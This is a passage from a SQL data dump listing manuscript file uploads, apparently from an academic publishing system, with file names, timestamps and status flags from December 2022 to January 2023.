12:46:35',1,3,0),(34814,13313,'13313-7ihl-Manuscript-proof-submission-2022-12-17.docx',NULL,'2022-12-17 12:47:05',1,3,0),(34815,13303,'13303-duim-Manuscript-proof-submission-2022-12-17.rar',NULL,'2022-12-17 12:48:23',1,3,0),(34816,13321,'13321-soyb-Manuscript-proof-submission-2022-12-17.docx',NULL,'2022-12-17 12:49:27',1,3,0),(34817,13323,'13323-qmfh-Manuscript-proof-submission-2022-12-17.docx',NULL,'2022-12-17 12:49:54',1,3,0),(34818,13291,'13291-Manuscript-2022-12-17-ed8b-graphic-completed.pdf',NULL,'2022-12-17 12:51:51',1,3,0),(34819,13215,'13215-Manuscript-2022-12-17-42dr-graphic-completed.pdf',NULL,'2022-12-17 12:52:51',1,3,0),(34820,13229,'13229-Manuscript-2022-12-17-d13c-graphic-completed.pdf',NULL,'2022-12-17 12:52:55',1,3,0),(34821,13293,'13293-Manuscript-2022-12-17-a9ih-graphic-completed.pdf',NULL,'2022-12-17 12:53:08',1,3,0),(34822,13317,'13317-Manuscript-2022-12-17-vb9i-ap-team-revised.rar',NULL,'2022-12-17 13:03:27',1,3,0),(34823,13292,'13292-Manuscript-2022-12-17-odq2-ap-team-revised.rar',NULL,'2022-12-17 13:04:06',1,3,0),(34824,13280,'13280-Manuscript-2022-12-17-20uv-ap-team-revised.rar',NULL,'2022-12-17 13:04:39',1,3,0),(34825,13281,'13281-Manuscript-2022-12-17-74de-ap-team-revised.rar',NULL,'2022-12-17 13:05:11',1,3,0),(34826,13248,'13248-Manuscript-2022-12-17-gdh5-ap-team-revised.rar',NULL,'2022-12-17 13:05:44',1,3,0),(34827,13333,'13333-0-Manuscript-2022-12-17.docx',NULL,'2022-12-17 13:07:27',1,1,0),(34828,13334,'13334-0-Manuscript-2022-12-17.docx',NULL,'2022-12-17 13:40:49',1,1,0),(34829,13291,'13291-Manuscript-2022-12-19-4bos.pdf',NULL,'2022-12-19 09:54:17',1,3,1),(34830,13302,'13302-7a2d-Manuscript-proof-submission-2022-12-19.rar',NULL,'2022-12-19 10:52:22',1,3,0),(34831,13293,'13293-Manuscript-2022-12-19-hzbi.pdf',NULL,'2022-12-19 11:42:11',1,3,1),(34832,13335,'13335-0-Manuscript-2022-12-19.docx',NULL,'2022-12-19 12:23:12',1,1,0),(34833,13267,'13267-Manuscript-2022-12-19-pyan-move-pdf-making.pdf',NULL,'2022-12-19 12:42:24',1,3,0),(34834,13266,'13266-Manuscript-2022-12-19-wj35-move-pdf-making.pdf',NULL,'2022-12-19 12:43:13',1,3,0),(34835,13271,'13271-Manuscript-2022-12-19-1ed2-move-pdf-making.pdf',NULL,'2022-12-19 12:43:51',1,3,0),(34836,13272,'13272-Manuscript-2022-12-19-1z34-move-pdf-making.pdf',NULL,'2022-12-19 12:44:26',1,3,0),(34837,13278,'13278-Manuscript-2022-12-19-0uxo-move-pdf-making.pdf',NULL,'2022-12-19 12:45:46',1,3,0),(34838,13336,'13336-0-Manuscript-2022-12-19.docx',NULL,'2022-12-19 13:20:49',1,1,0),(34839,13214,'13214-Manuscript-2022-12-19-ev3x-move-pdf-making.pdf',NULL,'2022-12-19 13:55:31',1,3,0),(34840,13229,'13229-Manuscript-2022-12-19-2hdo.pdf',NULL,'2022-12-19 14:03:04',1,3,1),(34841,13215,'13215-Manuscript-2022-12-19-wq3p.pdf',NULL,'2022-12-19 14:08:20',1,3,1),(34842,13337,'13337-0-Manuscript-2022-12-19.docx',NULL,'2022-12-19 14:16:28',1,1,0),(34843,13296,'13296-mebg-Manuscript-proof-submission-2022-12-19.pdf',NULL,'2022-12-19 14:46:52',1,3,0),(34844,13296,'13296-v5ia-Manuscript-proof-submission-2022-12-19.docx',NULL,'2022-12-19 14:47:10',1,3,0),(34845,13298,'13298-4iu1-Manuscript-proof-submission-2022-12-19.docx',NULL,'2022-12-19 14:47:29',1,3,0),(34846,13299,'13299-dhb7-Manuscript-proof-submission-2022-12-19.docx',NULL,'2022-12-19 14:47:49',1,3,0),(34847,13300,'13300-wsx2-Manuscript-proof-submission-2022-12-19.docx',NULL,'2022-12-19 14:48:08',1,3,0),(34848,13301,'13301-5dz6-Manuscript-proof-submission-2022-12-19.docx',NULL,'2022-12-19 14:49:16',1,3,0),(34849,13324,'13324-nxog-Manuscript-proof-submission-2022-12-19.docx',NULL,'2022-12-19 14:50:31',1,3,0),(34850,13338,'13338-0-Manuscript-2022-12-19.docx',NULL,'2022-12-19 14:55:34',1,1,0),(34851,13339,'13339-0-Manuscript-2022-12-19.docx',NULL,'2022-12-19 15:19:36',1,1,0),(34852,13296,'13296-Manuscript-2022-12-19-zqbl-move-pdf-making.pdf',NULL,'2022-12-19 15:25:09',1,3,0),(34853,13299,'13299-Manuscript-2022-12-19-mu37-move-pdf-making.pdf',NULL,'2022-12-19 15:25:28',1,3,0),(34854,13298,'13298-Manuscript-2022-12-19-uxas-move-pdf-making.pdf',NULL,'2022-12-19 15:25:45',1,3,0),(34855,13301,'13301-Manuscript-2022-12-19-svfc-move-pdf-making.pdf',NULL,'2022-12-19 15:26:00',1,3,0),(34856,13301,'13301-Manuscript-2022-12-19-6vgd-move-pdf-making.pdf',NULL,'2022-12-19 15:26:28',1,3,0),(34857,13300,'13300-Manuscript-2022-12-19-4utf-move-pdf-making.pdf',NULL,'2022-12-19 15:26:46',1,3,0),(34858,13340,'13340-0-Manuscript-2022-12-19.docx',NULL,'2022-12-19 15:57:47',1,1,0),(34859,13307,'13307-Manuscript-2022-12-19-7z68-move-pdf-making.pdf',NULL,'2022-12-19 17:33:01',1,3,0),(34860,13313,'13313-Manuscript-2022-12-19-t7c9-move-pdf-making.pdf',NULL,'2022-12-19 17:33:42',1,3,0),(34861,13321,'13321-Manuscript-2022-12-19-f4ry-move-pdf-making.pdf',NULL,'2022-12-19 17:34:20',1,3,0),(34862,13323,'13323-Manuscript-2022-12-19-9lmg-move-pdf-making.pdf',NULL,'2022-12-19 17:35:03',1,3,0),(34863,13324,'13324-Manuscript-2022-12-19-qczs-move-pdf-making.pdf',NULL,'2022-12-19 17:35:51',1,3,0),(34864,13313,'13313-Manuscript-2022-12-19-18ge-graphic-completed.pdf',NULL,'2022-12-19 17:37:21',1,3,0),(34865,13324,'13324-Manuscript-2022-12-19-ehq9-graphic-completed.pdf',NULL,'2022-12-19 17:38:44',1,3,0),(34866,13321,'13321-Manuscript-2022-12-19-shnd-graphic-completed.pdf',NULL,'2022-12-19 17:39:21',1,3,0),(34867,13323,'13323-Manuscript-2022-12-19-85y2-graphic-completed.pdf',NULL,'2022-12-19 17:39:53',1,3,0),(34868,13307,'13307-Manuscript-2022-12-19-b7dh-move-pdf-making.pdf',NULL,'2022-12-19 17:43:42',1,3,0),(34869,13305,'13305-Manuscript-2022-12-20-v4ly-ap-team-revised.rar',NULL,'2022-12-20 09:35:34',1,3,1),(34870,13302,'13302-Manuscript-2022-12-20-ny6k-ap-team-revised.rar',NULL,'2022-12-20 09:36:14',1,3,1),(34871,13303,'13303-Manuscript-2022-12-20-a9bj-ap-team-revised.rar',NULL,'2022-12-20 09:36:47',1,3,1),(34872,13125,'13125-u4db-Manuscript-proof-submission-2022-12-20.docx',NULL,'2022-12-20 11:06:04',1,3,0),(34873,13341,'13341-0-Manuscript-2022-12-20.docx',NULL,'2022-12-20 11:43:54',1,1,0),(34874,13342,'13342-0-Manuscript-2022-12-20.docx',NULL,'2022-12-20 11:53:23',1,1,0),(34875,13343,'13343-0-Manuscript-2022-12-20.docx',NULL,'2022-12-20 13:08:25',1,1,0),(34876,13343,'13343-1-Manuscript-2022-12-20.docx',NULL,'2022-12-20 13:08:25',1,1,0),(34877,13344,'13344-0-Manuscript-2022-12-20.docx',NULL,'2022-12-20 13:26:53',1,1,0),(34878,13326,'13326-tvlb-Manuscript-proof-submission-2022-12-20.docx',NULL,'2022-12-20 15:12:19',1,3,0),(34879,13332,'13332-jle9-Manuscript-proof-submission-2022-12-20.docx',NULL,'2022-12-20 15:13:49',1,3,0),(34880,13333,'13333-02hb-Manuscript-proof-submission-2022-12-20.docx',NULL,'2022-12-20 15:14:23',1,3,0),(34881,13333,'13333-8vci-Manuscript-proof-submission-2022-12-20.docx',NULL,'2022-12-20 15:14:34',1,3,0),(34882,13334,'13334-nawl-Manuscript-proof-submission-2022-12-20.docx',NULL,'2022-12-20 15:14:59',1,3,0),(34883,13335,'13335-iuyk-Manuscript-proof-submission-2022-12-20.docx',NULL,'2022-12-20 15:15:26',1,3,0),(34884,13325,'13325-Manuscript-2022-12-21-rkw2-ap-team-revised.rar',NULL,'2022-12-21 10:26:08',1,3,1),(34885,13315,'13315-Manuscript-2022-12-21-7gji-ap-team-revised.rar',NULL,'2022-12-21 10:26:40',1,3,1),(34886,13345,'13345-0-Manuscript-2022-12-21.docx',NULL,'2022-12-21 11:05:49',1,1,0),(34888,13347,'13347-0-Manuscript-2022-12-21.docx',NULL,'2022-12-21 11:09:49',1,1,0),(34889,13348,'13348-0-Manuscript-2022-12-21.docx',NULL,'2022-12-21 11:11:48',1,1,0),(34890,13303,'13303-Manuscript-2022-12-21-2mwt-graphic-completed.pdf',NULL,'2022-12-21 13:38:22',1,3,0),(34891,13302,'13302-Manuscript-2022-12-21-209o-graphic-completed.pdf',NULL,'2022-12-21 13:38:27',1,3,0),(34892,13305,'13305-Manuscript-2022-12-21-06vr-graphic-completed.pdf',NULL,'2022-12-21 13:38:31',1,3,0),(34893,13315,'13315-Manuscript-2022-12-21-nwq8-graphic-completed.pdf',NULL,'2022-12-21 15:37:51',1,3,0),(34894,13325,'13325-Manuscript-2022-12-21-h09z-graphic-completed.pdf',NULL,'2022-12-21 15:37:54',1,3,0),(34895,13315,'13315-Manuscript-2022-12-22-ugy8.pdf',NULL,'2022-12-22 10:43:38',1,3,1),(34896,13287,'13287-rnkj-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 10:46:54',1,3,1),(34897,13288,'13288-34d5-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 10:47:41',1,3,1),(34898,13289,'13289-jabi-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 10:48:15',1,3,1),(34899,13337,'13337-62z4-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 10:49:01',1,3,0),(34900,13339,'13339-180v-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 10:49:37',1,3,0),(34901,13338,'13338-sxu7-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 10:54:48',1,3,0),(34902,13338,'13338-8ip2-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 10:54:49',1,3,0),(34903,13305,'13305-Manuscript-2022-12-22-bvd3.pdf',NULL,'2022-12-22 11:06:33',1,3,1),(34904,13303,'13303-Manuscript-2022-12-22-tmhj.pdf',NULL,'2022-12-22 11:07:04',1,3,1),(34905,13302,'13302-Manuscript-2022-12-22-fxse.pdf',NULL,'2022-12-22 11:14:51',1,3,1),(34906,13338,'13338-Manuscript-2022-12-22-2opm-ap-team-revised.rar',NULL,'2022-12-22 11:19:28',1,3,1),(34907,13339,'13339-Manuscript-2022-12-22-ou96-ap-team-revised.rar',NULL,'2022-12-22 11:29:39',1,3,1),(34908,13337,'13337-Manuscript-2022-12-22-rdpa-ap-team-revised.rar',NULL,'2022-12-22 11:30:16',1,3,1),(34909,13287,'13287-Manuscript-2022-12-22-fjul-ap-team-revised.docx',NULL,'2022-12-22 11:44:47',1,3,0),(34910,13288,'13288-Manuscript-2022-12-22-rx0n-ap-team-revised.docx',NULL,'2022-12-22 11:45:26',1,3,0),(34911,13289,'13289-Manuscript-2022-12-22-paei-ap-team-revised.docx',NULL,'2022-12-22 11:46:10',1,3,0),(34912,13308,'13308-gom9-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 12:10:23',1,3,1),(34913,13309,'13309-0kyb-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 12:27:35',1,3,0),(34914,13309,'13309-kowx-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 12:27:36',1,3,1),(34915,13273,'13273-Manuscript-2022-12-22-726f-graphic-completed.pdf',NULL,'2022-12-22 12:36:58',1,3,0),(34916,13276,'13276-Manuscript-2022-12-22-hkv2-graphic-completed.pdf',NULL,'2022-12-22 12:38:11',1,3,0),(34917,13275,'13275-Manuscript-2022-12-22-z29o-graphic-completed.pdf',NULL,'2022-12-22 12:39:07',1,3,0),(34918,13274,'13274-Manuscript-2022-12-22-gc74-graphic-completed.pdf',NULL,'2022-12-22 12:39:54',1,3,0),(34919,13279,'13279-Manuscript-2022-12-22-7waq-graphic-completed.pdf',NULL,'2022-12-22 12:40:42',1,3,0),(34920,13320,'13320-zlij-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 13:26:22',1,3,1),(34921,13322,'13322-i47t-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 14:03:15',1,3,0),(34922,13322,'13322-4xng-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 14:03:17',1,3,1),(34923,13340,'13340-6ma3-Manuscript-proof-submission-2022-12-22.rar',NULL,'2022-12-22 14:25:48',1,3,1),(34924,13325,'13325-Manuscript-2022-12-22-hjza.pdf',NULL,'2022-12-22 14:37:53',1,3,1),(34925,13326,'13326-Manuscript-2022-12-22-z8hi-graphic-completed.pdf',NULL,'2022-12-22 15:30:20',1,3,0),(34926,13332,'13332-Manuscript-2022-12-22-srjb-graphic-completed.pdf',NULL,'2022-12-22 15:31:16',1,3,0),(34927,13333,'13333-Manuscript-2022-12-22-6tx4-graphic-completed.pdf',NULL,'2022-12-22 15:32:11',1,3,0),(34928,13334,'13334-Manuscript-2022-12-22-l50c-graphic-completed.pdf',NULL,'2022-12-22 15:32:59',1,3,0),(34929,13335,'13335-Manuscript-2022-12-22-ym30-graphic-completed.pdf',NULL,'2022-12-22 15:33:47',1,3,0),(34930,13281,'13281-Manuscript-2022-12-22-6zbw-graphic-completed.pdf',NULL,'2022-12-22 16:46:22',1,3,0),(34931,13248,'13248-Manuscript-2022-12-22-j0o9-graphic-completed.pdf',NULL,'2022-12-22 17:40:36',1,3,1),(34932,13317,'13317-Manuscript-2022-12-22-1soq.pdf',NULL,'2022-12-22 17:56:44',1,3,1),(34933,13292,'13292-Manuscript-2022-12-22-qzk6.pdf',NULL,'2022-12-22 17:57:30',1,3,1),(34934,13280,'13280-Manuscript-2022-12-22-uqa0.pdf',NULL,'2022-12-22 17:58:42',1,3,1),(34935,13281,'13281-Manuscript-2022-12-22-eo72.pdf',NULL,'2022-12-22 17:59:25',1,3,1),(34936,13343,'13343-fl2t-Manuscript-proof-submission-2022-12-23.rar',NULL,'2022-12-23 10:08:53',1,3,1),(34937,13255,'13255-u1yd-Manuscript-proof-submission-2022-12-23.rar',NULL,'2022-12-23 13:28:16',1,3,1),(34938,13319,'13319-Manuscript-2022-12-23-h4uw-graphic-completed.pdf',NULL,'2022-12-23 14:15:04',1,3,1),(34939,13338,'13338-Manuscript-2022-12-23-eksl-graphic-completed.pdf',NULL,'2022-12-23 14:15:11',1,3,1),(34940,13289,'13289-Manuscript-2022-12-23-ndpm-graphic-completed.pdf',NULL,'2022-12-23 17:58:31',1,3,1),(34941,13288,'13288-Manuscript-2022-12-23-e2kj-graphic-completed.pdf',NULL,'2022-12-23 17:58:43',1,3,1),(34942,13287,'13287-Manuscript-2022-12-23-iw0e-graphic-completed.pdf',NULL,'2022-12-23 17:58:50',1,3,1),(34943,13337,'13337-Manuscript-2022-12-23-vwra-graphic-completed.pdf',NULL,'2022-12-23 17:58:55',1,3,1),(34944,13339,'13339-Manuscript-2022-12-23-cwmu-graphic-completed.pdf',NULL,'2022-12-23 17:59:01',1,3,1),(34945,13337,'13337-Manuscript-2022-12-23-5w1f.pdf',NULL,'2022-12-23 18:21:23',1,3,0),(34946,13287,'13287-Manuscript-2022-12-23-j562.pdf',NULL,'2022-12-23 18:21:54',1,3,0),(34947,13289,'13289-Manuscript-2022-12-23-30lz.pdf',NULL,'2022-12-23 18:22:31',1,3,1),(34948,13289,'13289-Manuscript-2022-12-23-ej3f.pdf',NULL,'2022-12-23 18:23:07',1,3,0),(34949,13338,'13338-Manuscript-2022-12-24-g7lq.pdf',NULL,'2022-12-24 11:41:01',1,3,0),(34950,13319,'13319-Manuscript-2022-12-24-zken.pdf',NULL,'2022-12-24 11:41:33',1,3,0),(34951,13339,'13339-Manuscript-2022-12-24-p1y2.pdf',NULL,'2022-12-24 12:08:58',1,3,0),(34952,13340,'13340-Manuscript-2022-12-24-ne41-ap-team-revised.rar',NULL,'2022-12-24 12:13:13',1,3,0),(34953,13320,'13320-Manuscript-2022-12-24-459m-ap-team-revised.rar',NULL,'2022-12-24 12:16:54',1,3,0),(34954,13309,'13309-Manuscript-2022-12-24-zx2v-ap-team-revised.rar',NULL,'2022-12-24 12:17:28',1,3,0),(34955,13308,'13308-Manuscript-2022-12-24-l893-ap-team-revised.rar',NULL,'2022-12-24 12:18:01',1,3,0),(34956,13264,'13264-r9i6-Manuscript-proof-submission-2022-12-24.rar',NULL,'2022-12-24 13:04:10',1,3,1),(34957,13268,'13268-ejv4-Manuscript-proof-submission-2022-12-24.rar',NULL,'2022-12-24 13:04:57',1,3,0),(34958,13270,'13270-jkzg-Manuscript-proof-submission-2022-12-24.rar',NULL,'2022-12-24 13:05:33',1,3,0),(34959,13322,'13322-Manuscript-2022-12-24-coya-ap-team-revised.rar',NULL,'2022-12-24 13:05:44',1,3,0),(34960,13341,'13341-hgyu-Manuscript-proof-submission-2022-12-24.rar',NULL,'2022-12-24 13:06:02',1,3,0),(34961,13342,'13342-oatg-Manuscript-proof-submission-2022-12-24.rar',NULL,'2022-12-24 13:06:44',1,3,0),(34962,13341,'13341-Manuscript-2022-12-26-32rf-ap-team-revised.rar',NULL,'2022-12-26 09:22:49',1,3,0),(34963,13341,'13341-Manuscript-2022-12-26-0lzy-ap-team-revised.rar',NULL,'2022-12-26 09:23:23',1,3,0),(34964,13341,'13341-Manuscript-2022-12-26-76si-ap-team-revised.rar',NULL,'2022-12-26 09:23:46',1,3,0),(34965,13342,'13342-Manuscript-2022-12-26-ldgb-ap-team-revised.rar',NULL,'2022-12-26 09:24:26',1,3,0),(34966,13268,'13268-Manuscript-2022-12-26-rizh-ap-team-revised.rar',NULL,'2022-12-26 09:25:08',1,3,0),(34967,13270,'13270-Manuscript-2022-12-26-k2cq-ap-team-revised.rar',NULL,'2022-12-26 09:25:40',1,3,0),(34968,13264,'13264-Manuscript-2022-12-26-ughi-ap-team-revised.rar',NULL,'2022-12-26 09:26:20',1,3,0),(34969,13255,'13255-Manuscript-2022-12-26-b93t-ap-team-revised.rar',NULL,'2022-12-26 09:36:06',1,3,0),(34970,13343,'13343-Manuscript-2022-12-26-054o-ap-team-revised.rar',NULL,'2022-12-26 10:14:13',1,3,0),(34971,13343,'13343-Manuscript-2022-12-26-9vmn-ap-team-revised.rar',NULL,'2022-12-26 10:14:45',1,3,0),(34972,13264,'13264-Manuscript-2022-12-26-i5ul-graphic-completed.pdf',NULL,'2022-12-26 13:30:26',1,3,0),(34973,13270,'13270-Manuscript-2022-12-26-d7zi-graphic-completed.pdf',NULL,'2022-12-26 13:30:31',1,3,0),(34974,13268,'13268-Manuscript-2022-12-26-vbt3-graphic-completed.pdf',NULL,'2022-12-26 13:30:39',1,3,0),(34975,13342,'13342-Manuscript-2022-12-26-51ab-graphic-completed.pdf',NULL,'2022-12-26 13:30:44',1,3,0),(34976,13341,'13341-Manuscript-2022-12-26-rhv8-graphic-completed.pdf',NULL,'2022-12-26 13:30:49',1,3,0),(34977,13183,'13183-o8j2-Manuscript-proof-submission-2022-12-26.rar',NULL,'2022-12-26 13:36:12',1,3,0),(34978,13331,'13331-hwq3-Manuscript-proof-submission-2022-12-26.rar',NULL,'2022-12-26 13:36:35',1,3,0),(34979,13336,'13336-506q-Manuscript-proof-submission-2022-12-26.rar',NULL,'2022-12-26 13:37:04',1,3,0),(34980,13349,'13349-0-Manuscript-2022-12-26.docx',NULL,'2022-12-26 13:39:52',1,1,0),(34981,13341,'13341-Manuscript-2022-12-26-vakn.pdf',NULL,'2022-12-26 14:04:38',1,3,0),(34982,13342,'13342-Manuscript-2022-12-26-8dcn.pdf',NULL,'2022-12-26 14:05:17',1,3,0),(34983,13268,'13268-Manuscript-2022-12-26-ndt8.pdf',NULL,'2022-12-26 14:06:29',1,3,0),(34984,13270,'13270-Manuscript-2022-12-26-dio6.pdf',NULL,'2022-12-26 14:07:05',1,3,0),(34985,13264,'13264-Manuscript-2022-12-26-xpae.pdf',NULL,'2022-12-26 14:08:03',1,3,1),(34986,13190,'13190-6ev2-Manuscript-proof-submission-2022-12-26.rar',NULL,'2022-12-26 14:18:26',1,3,0),(34987,13255,'13255-Manuscript-2022-12-26-m0g9-graphic-completed.pdf',NULL,'2022-12-26 14:31:56',1,3,0),(34988,13255,'13255-Manuscript-2022-12-26-v369-graphic-completed.pdf',NULL,'2022-12-26 14:33:42',1,3,0),(34989,13336,'13336-Manuscript-2022-12-26-25q9-ap-team-revised.rar',NULL,'2022-12-26 14:55:44',1,3,1),(34990,13331,'13331-Manuscript-2022-12-26-eouk-ap-team-revised.rar',NULL,'2022-12-26 14:56:17',1,3,1),(34991,13343,'13343-Manuscript-2022-12-26-p0v3-graphic-completed.pdf',NULL,'2022-12-26 15:19:15',1,3,1),(34992,13190,'13190-Manuscript-2022-12-26-vfy4-ap-team-revised.rar',NULL,'2022-12-26 15:19:23',1,3,1),(34993,13183,'13183-Manuscript-2022-12-26-opfw-ap-team-revised.rar',NULL,'2022-12-26 15:19:57',1,3,1),(34994,13350,'12821-0-Manuscript-2022-06-16.docx','','2022-06-16 00:00:00',1,1,0),(34995,13350,'13350-Manuscript-2022-12-27-hgjo-qcfupteam-revised.docx',NULL,'2022-12-27 17:52:55',1,1,0),(34996,13350,'13350-vjct-Manuscript-2022-12-27.docx',NULL,'2022-12-27 17:55:12',1,1,0),(34997,13345,'13345-kajq-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:46:57',1,3,0),(34998,13347,'13347-bh4w-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:47:40',1,3,0),(34999,13348,'13348-yn0f-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:18',1,3,0),(35000,13349,'13349-2czw-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:40',1,3,0),(35001,13349,'13349-rt5z-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:42',1,3,0),(35002,13349,'13349-uv0b-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:44',1,3,0),(35003,13349,'13349-czx2-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:45',1,3,0),(35004,13349,'13349-4z2m-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:47',1,3,0),(35005,13349,'13349-0ilr-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:48',1,3,0),(35006,13349,'13349-p2tq-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 10:48:49',1,3,0),(35007,13351,'13351-0-Manuscript-2022-12-28.docx',NULL,'2022-12-28 11:10:11',1,1,0),(35008,12822,'12822-b7at-Manuscript-proof-submission-2022-12-28.docx',NULL,'2022-12-28 11:21:42',1,3,0),(35009,13309,'13309-Manuscript-2022-12-28-be8w-graphic-completed.pdf',NULL,'2022-12-28 12:01:00',1,3,0),(35010,13309,'13309-Manuscript-2022-12-28-tbpa-graphic-completed.pdf',NULL,'2022-12-28 12:01:04',1,3,1),(35011,13308,'13308-Manuscript-2022-12-28-wqar-graphic-completed.pdf',NULL,'2022-12-28 12:01:20',1,3,1),(35012,13320,'13320-Manuscript-2022-12-28-8gwd-graphic-completed.pdf',NULL,'2022-12-28 12:01:33',1,3,1),(35013,13322,'13322-Manuscript-2022-12-28-kj47-graphic-completed.pdf',NULL,'2022-12-28 12:01:54',1,3,1),(35014,13340,'13340-Manuscript-2022-12-28-gcjo-graphic-completed.pdf',NULL,'2022-12-28 12:02:05',1,3,1),(35015,13190,'13190-Manuscript-2022-12-28-wjz1-graphic-completed.pdf',NULL,'2022-12-28 12:02:42',1,3,0),(35016,13183,'13183-Manuscript-2022-12-28-oha2-graphic-completed.pdf',NULL,'2022-12-28 12:02:50',1,3,0),(35017,13331,'13331-Manuscript-2022-12-28-5rtp-graphic-completed.pdf',NULL,'2022-12-28 12:03:03',1,3,0),(35018,13336,'13336-Manuscript-2022-12-28-6mqe-graphic-completed.pdf',NULL,'2022-12-28 12:03:16',1,3,0),(35019,13336,'13336-Manuscript-2022-12-28-apz5.pdf',NULL,'2022-12-28 12:13:31',1,3,1),(35020,13331,'13331-Manuscript-2022-12-28-frot.pdf',NULL,'2022-12-28 12:14:06',1,3,1),(35021,13183,'13183-Manuscript-2022-12-28-nh2q.pdf',NULL,'2022-12-28 12:14:45',1,3,1),(35022,13190,'13190-Manuscript-2022-12-28-fepy.pdf',NULL,'2022-12-28 12:15:20',1,3,1),(35023,13340,'13340-Manuscript-2022-12-28-5jx0.pdf',NULL,'2022-12-28 13:10:12',1,3,0),(35024,13322,'13322-Manuscript-2022-12-28-u45v.pdf',NULL,'2022-12-28 13:10:54',1,3,0),(35025,13320,'13320-Manuscript-2022-12-28-9g7z.pdf',NULL,'2022-12-28 13:12:34',1,3,0),(35026,13308,'13308-Manuscript-2022-12-28-pf2o.pdf',NULL,'2022-12-28 13:13:12',1,3,0),(35027,13309,'13309-Manuscript-2022-12-28-dqmc.pdf',NULL,'2022-12-28 13:13:56',1,3,0),(35028,13348,'13348-Manuscript-2022-12-28-bfy2-ap-team-revised.docx',NULL,'2022-12-28 14:35:44',1,3,0),(35029,13347,'13347-Manuscript-2022-12-28-2h7c-ap-team-revised.docx',NULL,'2022-12-28 14:35:53',1,3,0),(35030,13345,'13345-Manuscript-2022-12-28-olin-ap-team-revised.docx',NULL,'2022-12-28 14:36:04',1,3,0),(35031,13349,'13349-Manuscript-2022-12-28-ncks-ap-team-revised.docx',NULL,'2022-12-28 14:36:16',1,3,0),(35032,12822,'12822-Manuscript-2022-12-28-83io-ap-team-revised.rar',NULL,'2022-12-28 16:45:29',1,3,1),(35033,12822,'12822-Manuscript-2022-12-29-x1v5-graphic-completed.pdf',NULL,'2022-12-29 13:15:19',1,3,0),(35034,13352,'13352-0-Manuscript-2022-12-29.docx',NULL,'2022-12-29 14:22:35',1,1,0),(35035,13352,'13352-1-Manuscript-2022-12-29.docx',NULL,'2022-12-29 14:22:35',1,1,0),(35036,13352,'13352-2-Manuscript-2022-12-29.docx',NULL,'2022-12-29 14:22:35',1,1,0),(35037,12822,'12822-Manuscript-2022-12-29-ikn9.pdf',NULL,'2022-12-29 14:47:18',1,3,0),(35038,13353,'12690-0-Manuscript-2022-03-26.docx','','2022-03-26 00:00:00',1,1,0),(35039,13353,'13353-Manuscript-2022-12-29-lvb8-qcfupteam-revised.docx',NULL,'2022-12-29 15:46:13',1,1,0),(35040,13353,'13353-d4na-Manuscript-2022-12-29.docx',NULL,'2022-12-29 15:46:33',1,1,0),(35041,13354,'13354-0-Manuscript-2022-12-29.docx',NULL,'2022-12-29 16:55:45',1,1,0),(35043,13356,'13356-0-Manuscript-2022-12-30.docx',NULL,'2022-12-30 09:46:37',1,1,0),(35044,13357,'13357-0-Manuscript-2022-12-30.docx',NULL,'2022-12-30 13:19:16',1,1,0),(35045,2765,'2765-Manuscript-2023-01-02-aeh4-qcfupteam-revised.docx',NULL,'2023-01-02 12:19:59',1,4,0),(35046,2765,'2765-nq0p-Manuscript-2023-01-02.docx',NULL,'2023-01-02 12:31:54',1,1,0),(35047,7741,'7741-Manuscript-2023-01-02-ifya-qcfupteam-revised.docx',NULL,'2023-01-02 13:02:56',1,4,0),(35048,7741,'7741-n0qa-Manuscript-2023-01-02.docx',NULL,'2023-01-02 13:04:26',1,1,0),(35049,7473,'7473-Manuscript-2023-01-02-nfyj-qcfupteam-revised.pdf',NULL,'2023-01-02 13:06:39',1,4,0),(35050,7473,'7473-w2bk-Manuscript-2023-01-02.pdf',NULL,'2023-01-02 13:37:10',1,1,0),(35051,3131,'3131-Manuscript-2023-01-02-17x6-qcfupteam-revised.docx',NULL,'2023-01-02 13:51:18',1,4,0),(35052,3131,'3131-dt6a-Manuscript-2023-01-02.docx',NULL,'2023-01-02 13:55:49',1,1,0),(35053,13347,'13347-Manuscript-2023-01-02-1wzi.pdf',NULL,'2023-01-02 15:27:03',1,3,1),(35054,13349,'13349-Manuscript-2023-01-02-d4of.pdf',NULL,'2023-01-02 15:27:50',1,3,1),(35055,13348,'13348-Manuscript-2023-01-02-jf4p.pdf',NULL,'2023-01-02 17:10:27',1,3,1),(35056,13345,'13345-Manuscript-2023-01-02-x8up.pdf',NULL,'2023-01-02 17:10:47',1,3,1),(35057,13348,'13348-Manuscript-2023-01-02-98v6.pdf',NULL,'2023-01-02 17:12:53',1,3,0),(35058,13347,'13347-Manuscript-2023-01-02-u2t1.pdf',NULL,'2023-01-02 17:13:05',1,3,0),(35059,13345,'13345-Manuscript-2023-01-02-nvi8.pdf',NULL,'2023-01-02 17:13:35',1,3,0),(35060,13349,'13349-Manuscript-2023-01-02-pdqv.pdf',NULL,'2023-01-02 17:13:52',1,3,0),(35061,13358,'13358-0-Manuscript-2023-01-03.docx',NULL,'2023-01-03 14:19:14',1,1,0),(35062,12454,'12454-Manuscript-2023-01-04-ebu2-qcfupteam-revised.docx',NULL,'2023-01-04 